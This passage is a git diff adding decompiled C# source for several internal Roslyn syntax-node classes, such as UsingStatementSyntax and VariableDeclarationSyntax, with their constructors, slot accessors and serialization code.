b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingStatementSyntax.cs new file mode 100644 index 0000000..b1a646c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/UsingStatementSyntax.cs @@ -0,0 +1,270 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class UsingStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken? awaitKeyword; + + internal readonly SyntaxToken usingKeyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly VariableDeclarationSyntax? declaration; + + internal readonly ExpressionSyntax? expression; + + internal readonly SyntaxToken closeParenToken; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken? AwaitKeyword => awaitKeyword; + + public SyntaxToken UsingKeyword => usingKeyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public VariableDeclarationSyntax? Declaration => declaration; + + public ExpressionSyntax? Expression => expression; + + public SyntaxToken CloseParenToken => closeParenToken; + + public StatementSyntax Statement => statement; + + internal UsingStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal UsingStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal UsingStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken? awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, ExpressionSyntax? expression, SyntaxToken closeParenToken, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (awaitKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)awaitKeyword); + this.awaitKeyword = awaitKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)usingKeyword); + this.usingKeyword = usingKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (declaration != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => awaitKeyword, + 2 => usingKeyword, + 3 => openParenToken, + 4 => declaration, + 5 => expression, + 6 => closeParenToken, + 7 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitUsingStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitUsingStatement(this); + } + + public UsingStatementSyntax Update(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax declaration, ExpressionSyntax expression, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || awaitKeyword != AwaitKeyword || usingKeyword != UsingKeyword || openParenToken != OpenParenToken || declaration != Declaration || expression != Expression || closeParenToken != CloseParenToken || statement != Statement) + { + UsingStatementSyntax usingStatementSyntax = SyntaxFactory.UsingStatement(attributeLists, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + usingStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(usingStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + usingStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(usingStatementSyntax, (IEnumerable)annotations); + } + return usingStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new UsingStatementSyntax(base.Kind, attributeLists, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new UsingStatementSyntax(base.Kind, attributeLists, awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal UsingStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + awaitKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + usingKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + openParenToken = syntaxToken3; + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + if (variableDeclarationSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeParenToken = syntaxToken4; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)awaitKeyword); + writer.WriteValue((IObjectWritable)(object)usingKeyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static UsingStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(UsingStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new UsingStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VarPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VarPatternSyntax.cs new file mode 100644 index 0000000..df20270 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VarPatternSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class VarPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken varKeyword; + + internal readonly VariableDesignationSyntax designation; + + public SyntaxToken VarKeyword => varKeyword; + + public VariableDesignationSyntax Designation => designation; + + internal VarPatternSyntax(SyntaxKind kind, SyntaxToken varKeyword, VariableDesignationSyntax designation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varKeyword); + this.varKeyword = varKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal VarPatternSyntax(SyntaxKind kind, SyntaxToken varKeyword, VariableDesignationSyntax designation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varKeyword); + this.varKeyword = varKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal VarPatternSyntax(SyntaxKind kind, SyntaxToken varKeyword, VariableDesignationSyntax designation) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)varKeyword); + this.varKeyword = varKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => varKeyword, + 1 => designation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.VarPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVarPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVarPattern(this); + } + + public VarPatternSyntax Update(SyntaxToken varKeyword, VariableDesignationSyntax designation) + { + if (varKeyword != VarKeyword || designation != Designation) + { + VarPatternSyntax varPatternSyntax = SyntaxFactory.VarPattern(varKeyword, designation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + varPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(varPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + varPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(varPatternSyntax, (IEnumerable)annotations); + } + return varPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new VarPatternSyntax(base.Kind, varKeyword, designation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new VarPatternSyntax(base.Kind, varKeyword, designation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal VarPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + varKeyword = syntaxToken; + VariableDesignationSyntax variableDesignationSyntax = (VariableDesignationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDesignationSyntax); + designation = variableDesignationSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)varKeyword); + writer.WriteValue((IObjectWritable)(object)designation); + } + + static VarPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(VarPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new VarPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclarationSyntax.cs new file mode 100644 index 0000000..7942248 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclarationSyntax.cs @@ -0,0 +1,148 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class VariableDeclarationSyntax : CSharpSyntaxNode +{ + internal readonly TypeSyntax type; + + internal readonly GreenNode? variables; + + public TypeSyntax Type => type; + + public SeparatedSyntaxList Variables => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(variables))); + + internal VariableDeclarationSyntax(SyntaxKind kind, TypeSyntax type, GreenNode? variables, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + } + + internal VariableDeclarationSyntax(SyntaxKind kind, TypeSyntax type, GreenNode? variables, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + } + + internal VariableDeclarationSyntax(SyntaxKind kind, TypeSyntax type, GreenNode? variables) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + if (variables != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(variables); + this.variables = variables; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => variables, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVariableDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVariableDeclaration(this); + } + + public VariableDeclarationSyntax Update(TypeSyntax type, SeparatedSyntaxList variables) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (type == Type) + { + SeparatedSyntaxList val = Variables; + if (!((ref variables) != (ref val))) + { + return this; + } + } + VariableDeclarationSyntax variableDeclarationSyntax = SyntaxFactory.VariableDeclaration(type, variables); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + variableDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(variableDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + variableDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(variableDeclarationSyntax, (IEnumerable)annotations); + } + return variableDeclarationSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new VariableDeclarationSyntax(base.Kind, type, variables, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new VariableDeclarationSyntax(base.Kind, type, variables, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal VariableDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + variables = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)variables); + } + + static VariableDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(VariableDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new VariableDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclaratorSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclaratorSyntax.cs new file mode 100644 index 0000000..8d963ac --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDeclaratorSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class VariableDeclaratorSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken identifier; + + internal readonly BracketedArgumentListSyntax? argumentList; + + internal readonly EqualsValueClauseSyntax? initializer; + + public SyntaxToken Identifier => identifier; + + public BracketedArgumentListSyntax? ArgumentList => argumentList; + + public EqualsValueClauseSyntax? Initializer => initializer; + + internal VariableDeclaratorSyntax(SyntaxKind kind, SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal VariableDeclaratorSyntax(SyntaxKind kind, SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal VariableDeclaratorSyntax(SyntaxKind kind, SyntaxToken identifier, BracketedArgumentListSyntax? argumentList, EqualsValueClauseSyntax? initializer) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (argumentList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + if (initializer != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)initializer); + this.initializer = initializer; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => identifier, + 1 => argumentList, + 2 => initializer, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitVariableDeclarator(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitVariableDeclarator(this); + } + + public VariableDeclaratorSyntax Update(SyntaxToken identifier, BracketedArgumentListSyntax argumentList, EqualsValueClauseSyntax initializer) + { + if (identifier != Identifier || argumentList != ArgumentList || initializer != Initializer) + { + VariableDeclaratorSyntax variableDeclaratorSyntax = SyntaxFactory.VariableDeclarator(identifier, argumentList, initializer); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + variableDeclaratorSyntax = GreenNodeExtensions.WithDiagnosticsGreen(variableDeclaratorSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + variableDeclaratorSyntax = GreenNodeExtensions.WithAnnotationsGreen(variableDeclaratorSyntax, (IEnumerable)annotations); + } + return variableDeclaratorSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new VariableDeclaratorSyntax(base.Kind, identifier, argumentList, initializer, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new VariableDeclaratorSyntax(base.Kind, identifier, argumentList, initializer, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal VariableDeclaratorSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + BracketedArgumentListSyntax bracketedArgumentListSyntax = (BracketedArgumentListSyntax)reader.ReadValue(); + if (bracketedArgumentListSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bracketedArgumentListSyntax); + argumentList = bracketedArgumentListSyntax; + } + EqualsValueClauseSyntax equalsValueClauseSyntax = (EqualsValueClauseSyntax)reader.ReadValue(); + if (equalsValueClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsValueClauseSyntax); + initializer = equalsValueClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)argumentList); + writer.WriteValue((IObjectWritable)(object)initializer); + } + + static VariableDeclaratorSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(VariableDeclaratorSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new VariableDeclaratorSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDesignationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDesignationSyntax.cs new file mode 100644 index 0000000..065df1a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/VariableDesignationSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class VariableDesignationSyntax : CSharpSyntaxNode +{ + internal VariableDesignationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal VariableDesignationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected VariableDesignationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WarningDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WarningDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..1404c8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/WarningDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class WarningDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken warningKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken WarningKeyword => warningKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal WarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal WarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal WarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + 